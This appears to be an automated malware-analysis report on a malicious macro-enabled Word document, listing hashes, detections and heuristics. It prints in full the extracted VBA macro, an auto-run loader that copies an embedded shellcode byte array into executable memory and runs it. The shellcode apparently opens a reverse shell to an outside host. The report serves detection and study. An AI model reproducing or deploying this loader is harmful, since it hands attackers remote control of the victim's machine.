Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 834d79d9c13c5f71…

MALICIOUS

Office (OOXML) / .DOCX

16.3 KB Created: 2026-04-23 14:30:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2026-06-17
MD5: a723e4a79f1704e6973c9f56e6780015 SHA-1: ddc02aad1b882fc7e9823368368c67cc02409089 SHA-256: 834d79d9c13c5f71587a833722bff2294cfde5cc703974f7d966291b4cc7f3a6
226 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA native-memory callback shellcode loader critical OLE_VBA_NATIVE_MEMORY_CALLBACK_LOADER
    VBA auto-exec macro declares or calls native memory allocation, process-memory write/copy, and callback/timer execution APIs. This is the in-memory shellcode loader pattern: allocate writable memory, copy decoded payload bytes into it, then transfer control through a callback such as CreateTimerQueueTimer. Benign document automation does not combine these primitives.
    Matched line in script
        Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Ukniq As Long, ByVal Ttmvmh As Long, ByVal Lpxaihupw As Long, ByVal Acn As Long) As LongPtr
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3468 bytes
SHA-256: 8e2e20e8ecf87b4f63e5b0437443bda2d3056d07608859565333cc6da261dd10
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
#If Vba7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Dvl As Long, ByVal Lihgc As Long, ByVal Jyvqkw As LongPtr, Mkin As Long, ByVal Doybbm As Long, Ujufujue As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Ukniq As Long, ByVal Ttmvmh As Long, ByVal Lpxaihupw As Long, ByVal Acn As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Rcehhz As LongPtr, ByRef Hdvrjgm As Any, ByVal Zixcvnzk As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Dvl As Long, ByVal Lihgc As Long, ByVal Jyvqkw As Long, Mkin As Long, ByVal Doybbm As Long, Ujufujue As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Ukniq As Long, ByVal Ttmvmh As Long, ByVal Lpxaihupw As Long, ByVal Acn As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Rcehhz As Long, ByRef Hdvrjgm As Any, ByVal Zixcvnzk As Long) As Long
#End If

Sub Auto_Open()
    Dim Hizeq As Long, Rvjw As Variant, Aoorwjh As Long
#If Vba7 Then
    Dim Kvipv As LongPtr, Vjtza As LongPtr
#Else
    Dim Kvipv As Long, Vjtza As Long
#End If
    Rvjw = Array(252, 232, 143, 0, 0, 0, 96, 49, 210, 137, 229, 100, 139, 82, 48, 139, 82, 12, 139, 82, 20, 49, 255, 15, 183, 74, 38, 139, 114, 40, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 73, 117, 239, 82, 139, 82, 16, 139, 66, 60, 1, 208, 139, 64, 120, 87, 133, 192, 116, 76, 1, 208, 80, 139, 88, 32, 139, 72, 24, 1, 211, 133, 201, 116, 60, 49, 255, _
73, 139, 52, 139, 1, 214, 49, 192, 193, 207, 13, 172, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59, 125, 36, 117, 224, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, 233, 128, 255, 255, 255, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, _
104, 76, 119, 38, 7, 137, 232, 255, 208, 184, 144, 1, 0, 0, 41, 196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 106, 10, 104, 192, 168, 56, 101, 104, 2, 0, 17, 92, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 255, 78, 8, 117, 236, 232, 103, 0, 0, 0, _
106, 0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, 0, 126, 54, 139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, 0, 125, 40, 88, 104, 0, 64, 0, 0, 106, 0, 80, 104, 11, 47, 15, 48, 255, 213, 87, 104, 117, 110, 77, 97, 255, 213, _
94, 94, 255, 12, 36, 15, 133, 112, 255, 255, 255, 233, 155, 255, 255, 255, 1, 195, 41, 198, 117, 193, 195, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)

    Kvipv = VirtualAlloc(0, UBound(Rvjw), &H1000, &H40)
    For Aoorwjh = LBound(Rvjw) To UBound(Rvjw)
        Hizeq = Rvjw(Aoorwjh)
        Vjtza = RtlMoveMemory(Kvipv + Aoorwjh, Hizeq, 1)
    Next Aoorwjh
    Vjtza = CreateThread(0, 0, Kvipv, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: 689b98ab5b766cce3e289954030e56361e23a669adc238b548baffc231b7dec4
Detection
ClamAV: Doc.Dropper.Valyria-6680543-0
Obfuscation or payload: unlikely

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